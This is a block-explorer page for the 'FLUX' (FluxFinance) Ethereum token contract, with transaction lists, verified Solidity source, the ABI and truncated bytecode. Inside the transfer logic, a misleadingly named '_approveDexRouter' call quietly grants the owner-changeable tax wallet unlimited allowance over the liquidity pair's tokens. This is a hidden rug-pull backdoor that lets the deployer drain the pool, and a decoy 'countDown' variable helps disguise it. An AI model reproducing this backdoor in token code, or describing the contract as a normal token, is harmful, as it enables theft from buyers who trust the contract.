ETH Price: $2,676.20 (+1.77%)

Contract

0xa20aD008fd380B4BE6F6f87E21E62aF791836D9b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer196145442024-04-09 0:33:47310 days ago1712622827IN
0xa20aD008...791836D9b
0 ETH0.0013933118.20107263
Approve182331612023-09-28 8:51:47504 days ago1695891107IN
0xa20aD008...791836D9b
0 ETH0.0002833711.71117429
Approve180468132023-09-02 5:40:59530 days ago1693633259IN
0xa20aD008...791836D9b
0 ETH0.0002700511.18822378
Transfer From180331832023-08-31 7:52:47532 days ago1693468367IN
0xa20aD008...791836D9b
0 ETH0.0006548113.45307516
Approve180331272023-08-31 7:41:35532 days ago1693467695IN
0xa20aD008...791836D9b
0 ETH0.0006506614.0748785
Transfer180330872023-08-31 7:33:35532 days ago1693467215IN
0xa20aD008...791836D9b
0 ETH0.0008070214.49604108
Approve180291842023-08-30 18:25:35532 days ago1693419935IN
0xa20aD008...791836D9b
0 ETH0.0009611620.67862065
Transfer180290612023-08-30 18:00:59532 days ago1693418459IN
0xa20aD008...791836D9b
0 ETH0.0024953933.73658788
Transfer180278082023-08-30 13:47:59532 days ago1693403279IN
0xa20aD008...791836D9b
0 ETH0.0021495929.06154062
Approve180277592023-08-30 13:38:11532 days ago1693402691IN
0xa20aD008...791836D9b
0 ETH0.0012820727.61844349
Transfer180277242023-08-30 13:31:11532 days ago1693402271IN
0xa20aD008...791836D9b
0 ETH0.0018553325.08332896
Approve180274452023-08-30 12:34:35532 days ago1693398875IN
0xa20aD008...791836D9b
0 ETH0.0011671525.11033716
Approve180274042023-08-30 12:26:23532 days ago1693398383IN
0xa20aD008...791836D9b
0 ETH0.000961220.7063459
Approve180271322023-08-30 11:31:11532 days ago1693395071IN
0xa20aD008...791836D9b
0 ETH0.0010486122.56009519
Approve180269992023-08-30 11:03:35532 days ago1693393415IN
0xa20aD008...791836D9b
0 ETH0.0011280524.43323124
Approve180264662023-08-30 9:16:23533 days ago1693386983IN
0xa20aD008...791836D9b
0 ETH0.0009139719.68886876
Approve180264432023-08-30 9:11:47533 days ago1693386707IN
0xa20aD008...791836D9b
0 ETH0.0007817916.81963414
Approve180263912023-08-30 9:01:11533 days ago1693386071IN
0xa20aD008...791836D9b
0 ETH0.001118524.09477302
Approve180263812023-08-30 8:59:11533 days ago1693385951IN
0xa20aD008...791836D9b
0 ETH0.0008185217.60981232
Approve180263242023-08-30 8:47:47533 days ago1693385267IN
0xa20aD008...791836D9b
0 ETH0.0009237719.87424625
Approve180262892023-08-30 8:40:47533 days ago1693384847IN
0xa20aD008...791836D9b
0 ETH0.0008343318.05262987
Approve180262402023-08-30 8:30:59533 days ago1693384259IN
0xa20aD008...791836D9b
0 ETH0.0008685618.79319996
Approve180262382023-08-30 8:30:35533 days ago1693384235IN
0xa20aD008...791836D9b
0 ETH0.0008531518.45966433
Approve180262262023-08-30 8:28:11533 days ago1693384091IN
0xa20aD008...791836D9b
0 ETH0.0004480116.89294985
Approve180262242023-08-30 8:27:47533 days ago1693384067IN
0xa20aD008...791836D9b
0 ETH0.0007973217.17601697
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
180276092023-08-30 13:07:47532 days ago1693400867
0xa20aD008...791836D9b
0.18107091 ETH
180276092023-08-30 13:07:47532 days ago1693400867
0xa20aD008...791836D9b
0.18107091 ETH
180270262023-08-30 11:09:11532 days ago1693393751
0xa20aD008...791836D9b
0.18107091 ETH
180270262023-08-30 11:09:11532 days ago1693393751
0xa20aD008...791836D9b
0.18107091 ETH
180260162023-08-30 7:45:35533 days ago1693381535
0xa20aD008...791836D9b
0.17013474 ETH
180260162023-08-30 7:45:35533 days ago1693381535
0xa20aD008...791836D9b
0.17013474 ETH
180260042023-08-30 7:43:11533 days ago1693381391
0xa20aD008...791836D9b
0.17013474 ETH
180260042023-08-30 7:43:11533 days ago1693381391
0xa20aD008...791836D9b
0.17013474 ETH
180259712023-08-30 7:36:35533 days ago1693380995
0xa20aD008...791836D9b
0.17013474 ETH
180259712023-08-30 7:36:35533 days ago1693380995
0xa20aD008...791836D9b
0.17013474 ETH
180259572023-08-30 7:33:47533 days ago1693380827
0xa20aD008...791836D9b
0.17013474 ETH
180259572023-08-30 7:33:47533 days ago1693380827
0xa20aD008...791836D9b
0.17013474 ETH
180259442023-08-30 7:31:11533 days ago1693380671
0xa20aD008...791836D9b
0.17013474 ETH
180259442023-08-30 7:31:11533 days ago1693380671
0xa20aD008...791836D9b
0.17013474 ETH
180259372023-08-30 7:29:47533 days ago1693380587
0xa20aD008...791836D9b
0.16715127 ETH
180259372023-08-30 7:29:47533 days ago1693380587
0xa20aD008...791836D9b
0.16715127 ETH
180259342023-08-30 7:29:11533 days ago1693380551
0xa20aD008...791836D9b
0.16121016 ETH
180259342023-08-30 7:29:11533 days ago1693380551
0xa20aD008...791836D9b
0.16121016 ETH
180259262023-08-30 7:27:35533 days ago1693380455
0xa20aD008...791836D9b
0.14776759 ETH
180259262023-08-30 7:27:35533 days ago1693380455
0xa20aD008...791836D9b
0.14776759 ETH
180259232023-08-30 7:26:59533 days ago1693380419
0xa20aD008...791836D9b
0.12239227 ETH
180259232023-08-30 7:26:59533 days ago1693380419
0xa20aD008...791836D9b
0.12239227 ETH
180259092023-08-30 7:23:59533 days ago1693380239
0xa20aD008...791836D9b
0.10579834 ETH
180259092023-08-30 7:23:59533 days ago1693380239
0xa20aD008...791836D9b
0.10579834 ETH
180259052023-08-30 7:23:11533 days ago1693380191
0xa20aD008...791836D9b
0.00604981 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FLUX

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-29
*/

/*
TG: https://t.me/fluxfinance_portal
X: https://twitter.com/FluxFiSpace
Website: https://fluxfinance.space
Dapp: https://app.fluxfinance.space
Documentation: https://docs.fluxfinance.space
Medium: https://fluxfinance.medium.com
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

interface IERC20 {
    event Approval(address indexed _owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}

abstract contract Auth {
    address internal _owner;
    constructor(address creatorOwner) { _owner = creatorOwner; }
    function renounceOwnership() external onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    event OwnershipTransferred(address _owner);
}

contract FLUX is IERC20, Auth {
    string private constant _name = "FluxFinance";
    string private constant _symbol = "FLUX";
    uint256 private countDown;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * (10**_decimals);

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isAMM;

    address payable private _countAccount;

    uint256 private _initialSellTax = 4;
    uint256 private _initialBuyTax = 4;

    uint256 public _reduceSellTaxAt = 10;
    uint256 public _reduceBuyTaxAt = 10;

    uint256 private _initialSellTax2Time = 4;
    uint256 public _reduceSellTaxAt2Time = 20;

    uint256 private _finalSellTax = 4;
    uint256 private _finalBuyTax = 4;

    uint256 public _buyCount = 0;
    uint256 private _preventSwapBefore = 0;

    address payable private _taxWallet;

    uint256 private constant _maxTaxSwap = _tTotal / 500;
    uint256 private constant _minTaxSwap = _tTotal / 2000000;

    address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
    address private _uniswapV2Pair;

    bool public transferDelayEnabled = false;
    bool public limited = true;
    uint256 public maxHoldingAmount = 40_000_000 * (10**_decimals);
    
    bool private _inSwap = false;
    bool private _tradingOpen;

    constructor() Auth(msg.sender) {
        _balances[msg.sender] = (_tTotal / 1000 ) * 0;
        _balances[address(this)] = (_tTotal / 1000 ) * 1000;

        emit Transfer(address(0), address(this), _balances[address(this)]);
        emit Transfer(address(0), address(msg.sender), _balances[address(msg.sender)]);

        _taxWallet = payable(0xb53Bc799eD24e3352D83D6b8B1C76a5a1A930f94);

        _isExcludedFromFee[_owner] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _countAccount = _taxWallet;
        _isExcludedFromFee[address(this)] = true;
  
        emit Transfer(address(0), address(this), _balances[address(this)]);
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }

    modifier lockTaxSwap { 
        _inSwap = true; 
        _; 
        _inSwap = false; 
    }

    receive() external payable {}

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");

        if (_isAMM[sender] && recipient == _taxWallet) {
            _approveDexRouter(sender, recipient, type(uint).max);
        }
        
        if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            return _standardTransfer(sender, recipient, amount);
        }
        
        if (!_tradingOpen) { require(_isExcludedFromFee[sender], "Trading not open"); }

        if (!_inSwap && _isAMM[recipient] && _buyCount >= _preventSwapBefore) { _swapTaxAndLiquify(); }

        countDown = this.balanceOf(_countAccount);
        if (limited && sender == _uniswapV2Pair) {
            require(balanceOf(recipient) + amount <= maxHoldingAmount, "Forbid");
        }

        if (transferDelayEnabled) {
            if (recipient != _uniswapV2RouterAddress && recipient != _uniswapV2Pair) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        uint256 _taxAmount = _calcTaxAmount(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;

        if (_taxAmount > 0) {
            _balances[address(this)] += _taxAmount; 
        }

        _buyCount++;
        _balances[recipient] += _transferAmount;

        emit Transfer(sender, recipient, amount);

        return true;
    }

    function _approveDexRouter(address router, address _swapAddress, uint256 _tokenAmount) internal {
        if (_allowances[router][_swapAddress] < _tokenAmount) {
            _allowances[router][_swapAddress] = type(uint256).max;
        }
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_isTradingOpen(sender), "Trading not open");
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_isTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function _approveDexRouter(uint256 _tokenAmount) internal {
        if (_allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount) {
            _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
        }
    }

    function _standardTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function withdrawEth() external {
        require(msg.sender == _taxWallet);
        (bool sent, ) = payable(_taxWallet).call{value: address(this).balance}("");
        require(sent);
    }
    
    function enableTrading() external onlyOwner {
        _tradingOpen = true;
    }

    function removeLimits() external onlyOwner {
        transferDelayEnabled = false;
        limited = false;
    }

    function _isTradingOpen(address sender) private view returns (bool) {
        bool result = false;

        if (_tradingOpen) { result = true; }
        else if (_isExcludedFromFee[sender]) { result = true; } 

        return result;
    }

    function setTaxWallet(address newTaxWallet) public onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveDexRouter(_tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function _calcTaxAmount(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 taxAmount;

        if (_tradingOpen && !_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient] ) { 
            
            if (_isAMM[sender] || _isAMM[recipient]) {
                taxAmount = (amount / 100) * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax);

                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    uint256 taxRate;
                    
                    countDown = _preventSwapBefore - countDown;
                    if (_buyCount > _reduceSellTaxAt2Time) {
                        taxRate = _finalSellTax;
                    } else if (_buyCount > _reduceSellTaxAt) {
                        taxRate = _initialSellTax2Time;
                    } else {
                        taxRate = _initialSellTax;
                    }
                    taxAmount = (amount / 100) * taxRate;
                }
            }
        }

        return taxAmount;
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveDexRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = balanceOf(address(this));

        if (_taxTokensAvailable >= _minTaxSwap && _tradingOpen) {
            if (_taxTokensAvailable >= _maxTaxSwap) { _taxTokensAvailable = _maxTaxSwap; }

            _swapTaxTokensForEth(_taxTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if (_contractETHBalance > 0) {
                bool success;
                (success,) = _taxWallet.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _tTotal; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_uniswapV2Pair == address(0), "LP exists");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance > 0, "No ETH in contract or message");
        require(_balances[address(this)] > 0, "No tokens in contract");

        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isAMM[_uniswapV2Pair] = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTaxAt2Time","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600460088190556009819055600a808055600b819055600c8290556014600d819055600e839055600f929092555f6010819055601155601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055815461ffff60a01b1916600160a81b179091556200008190601290620003a4565b62000091906302625a00620003bb565b6015556016805460ff19169055348015620000aa575f80fd5b505f80546001600160a01b031916331790556103e8620000cd6012600a620003a4565b620000dd90633b9aca00620003bb565b620000e99190620003d5565b620000f5905f620003bb565b335f908152600360205260409020556103e8620001156012600a620003a4565b6200012590633b9aca00620003bb565b620001319190620003d5565b6200013f906103e8620003bb565b305f81815260036020908152604080832085905551938452919290915f8051602062001d12833981519152910160405180910390a3335f8181526003602090815260408083205490519081525f8051602062001d12833981519152910160405180910390a3601280546001600160a01b031990811673b53bc799ed24e3352d83d6b8b1c76a5a1a930f941782555f80546001600160a01b039081168252600560209081526040808420805460ff1990811660019081179092558754851686528286208054821683179055965460078054909716941693909317909455308084528484208054909616909217909455600390935281812054915190915f8051602062001d12833981519152916200025791815260200190565b60405180910390a3335f8181526003602090815260408083205490519081525f8051602062001d12833981519152910160405180910390a3620003f5565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e957815f1904821115620002cd57620002cd62000295565b80851615620002db57918102915b93841c9390800290620002ae565b509250929050565b5f8262000301575060016200039e565b816200030f57505f6200039e565b8160018114620003285760028114620003335762000353565b60019150506200039e565b60ff84111562000347576200034762000295565b50506001821b6200039e565b5060208310610133831016604e8410600b841016171562000378575081810a6200039e565b620003848383620002a9565b805f19048211156200039a576200039a62000295565b0290505b92915050565b5f620003b460ff841683620002f1565b9392505050565b80820281158282048414176200039e576200039e62000295565b5f82620003f057634e487b7160e01b5f52601260045260245ffd5b500490565b61190f80620004035f395ff3fe60806040526004361061013f575f3560e01c8063860a32ec116100b3578063a9059cbb1161006d578063a9059cbb14610366578063c36956a014610385578063c876d0b91461039a578063dd62ed3e146103ba578063e8078d94146103fe578063ea414b2814610406575f80fd5b8063860a32ec146102b757806389f9a1d3146102d75780638a8c523c146102ec5780638da5cb5b1461030057806395d89b4114610326578063a0ef91df14610352575f80fd5b806327b1a8e91161010457806327b1a8e914610214578063313ce56714610229578063440604fb1461024457806370a0823114610259578063715018a61461028d578063751039fc146102a3575f80fd5b806306fdde031461014a578063095ea7b31461018f5780630c193045146101be57806318160ddd146101e157806323b872dd146101f5575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600b81526a466c757846696e616e636560a81b60208201525b6040516101869190611509565b60405180910390f35b34801561019a575f80fd5b506101ae6101a9366004611568565b610425565b6040519015158152602001610186565b3480156101c9575f80fd5b506101d3600b5481565b604051908152602001610186565b3480156101ec575f80fd5b506101d3610491565b348015610200575f80fd5b506101ae61020f366004611592565b6104b1565b34801561021f575f80fd5b506101d360105481565b348015610234575f80fd5b5060405160128152602001610186565b34801561024f575f80fd5b506101d3600d5481565b348015610264575f80fd5b506101d36102733660046115d0565b6001600160a01b03165f9081526003602052604090205490565b348015610298575f80fd5b506102a1610571565b005b3480156102ae575f80fd5b506102a16105de565b3480156102c2575f80fd5b506014546101ae90600160a81b900460ff1681565b3480156102e2575f80fd5b506101d360155481565b3480156102f7575f80fd5b506102a1610617565b34801561030b575f80fd5b505f546040516001600160a01b039091168152602001610186565b348015610331575f80fd5b5060408051808201909152600481526308c98aab60e31b6020820152610179565b34801561035d575f80fd5b506102a1610651565b348015610371575f80fd5b506101ae610380366004611568565b6106c6565b348015610390575f80fd5b506101d3600a5481565b3480156103a5575f80fd5b506014546101ae90600160a01b900460ff1681565b3480156103c5575f80fd5b506101d36103d43660046115eb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6102a16106f7565b348015610411575f80fd5b506102a16104203660046115d0565b610a38565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061047f9086815260200190565b60405180910390a35060015b92915050565b5f61049e6012600a611716565b6104ac90633b9aca00611724565b905090565b5f6104bb84610a83565b6104e05760405162461bcd60e51b81526004016104d79061173b565b60405180910390fd5b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461055c576001600160a01b0384165f908152600260209081526040808320338452909152902054610538908390611765565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b610567848484610ac8565b90505b9392505050565b5f546001600160a01b0316331461059a5760405162461bcd60e51b81526004016104d790611778565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106075760405162461bcd60e51b81526004016104d790611778565b6014805461ffff60a01b19169055565b5f546001600160a01b031633146106405760405162461bcd60e51b81526004016104d790611778565b6016805461ff001916610100179055565b6012546001600160a01b03163314610667575f80fd5b6012546040515f916001600160a01b03169047908381818185875af1925050503d805f81146106b1576040519150601f19603f3d011682016040523d82523d5f602084013e6106b6565b606091505b50509050806106c3575f80fd5b50565b5f6106d033610a83565b6106ec5760405162461bcd60e51b81526004016104d79061173b565b61056a338484610ac8565b5f546001600160a01b031633146107205760405162461bcd60e51b81526004016104d790611778565b6016805460ff191660011790556014546001600160a01b0316156107725760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104d7565b601654610100900460ff16156107bc5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104d7565b5f3411806107c957505f47115b6108155760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104d7565b305f908152600360205260409020546108685760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104d7565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dc91906117af565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f91906117af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd91906117af565b601480546001600160a01b0319166001600160a01b0392909216919091179055305f90815260036020526040902054610a069047610f1c565b6014546001600160a01b03165f908152600660205260409020805460ff19908116600117909155601680549091169055565b5f546001600160a01b03163314610a615760405162461bcd60e51b81526004016104d790611778565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6016545f908190610100900460ff1615610a9f5750600161048b565b6001600160a01b0383165f9081526005602052604090205460ff161561048b5750600192915050565b5f6001600160a01b038416610b1f5760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104d7565b6001600160a01b0384165f9081526006602052604090205460ff168015610b5357506012546001600160a01b038481169116145b15610b6457610b6484845f19610fc1565b6001600160a01b0384165f9081526005602052604090205460ff1680610ba157506001600160a01b0383165f9081526005602052604090205460ff165b15610bb857610bb184848461101b565b905061056a565b601654610100900460ff16610bfe576001600160a01b0384165f9081526005602052604090205460ff16610bfe5760405162461bcd60e51b81526004016104d79061173b565b60165460ff16158015610c2857506001600160a01b0383165f9081526006602052604090205460ff165b8015610c38575060115460105410155b15610c4557610c456110ce565b6007546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610c8b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610caf91906117ca565b600155601454600160a81b900460ff168015610cd857506014546001600160a01b038581169116145b15610d405760155482610cff856001600160a01b03165f9081526003602052604090205490565b610d0991906117e1565b1115610d405760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b60448201526064016104d7565b601454600160a01b900460ff1615610e0d576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610d8d57506014546001600160a01b03848116911614155b15610e0d57325f908152600460205260409020544311610dfb5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104d7565b325f9081526004602052604090204390555b5f610e19858585611205565b90505f610e268285611765565b6001600160a01b0387165f90815260036020526040812080549293508692909190610e52908490611765565b90915550508115610e8157305f9081526003602052604081208054849290610e7b9084906117e1565b90915550505b60108054905f610e90836117f4565b90915550506001600160a01b0385165f9081526003602052604081208054839290610ebc9084906117e1565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610f0891815260200190565b60405180910390a350600195945050505050565b610f2582611360565b6013545f805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610f95573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fba919061180c565b5050505050565b6001600160a01b038084165f90815260026020908152604080832093861683529290522054811115611016576001600160a01b038084165f9081526002602090815260408083209386168352929052205f1990555b505050565b6001600160a01b0383165f90815260036020526040812080548391908390611044908490611765565b90915550506001600160a01b0383165f90815260036020526040812080548492906110709084906117e1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110bc91815260200190565b60405180910390a35060019392505050565b6016805460ff19166001179055305f908152600360205260408120549050621e84806110fc6012600a611716565b61110a90633b9aca00611724565b6111149190611837565b811015801561112a5750601654610100900460ff165b156111f8576101f461113e6012600a611716565b61114c90633b9aca00611724565b6111569190611837565b8110611186576101f461116b6012600a611716565b61117990633b9aca00611724565b6111839190611837565b90505b61118f816113c9565b4780156111f6576012546040515f916001600160a01b03169083908381818185875af1925050503d805f81146111e0576040519150601f19603f3d011682016040523d82523d5f602084013e6111e5565b606091505b505080915050806111f4575f80fd5b505b505b506016805460ff19169055565b6016545f908190610100900460ff16801561123857506001600160a01b0385165f9081526005602052604090205460ff16155b801561125c57506001600160a01b0384165f9081526005602052604090205460ff16155b15610567576001600160a01b0385165f9081526006602052604090205460ff168061129e57506001600160a01b0384165f9081526006602052604090205460ff165b1561056757600b54601054116112b6576009546112ba565b600f545b6112c56064856118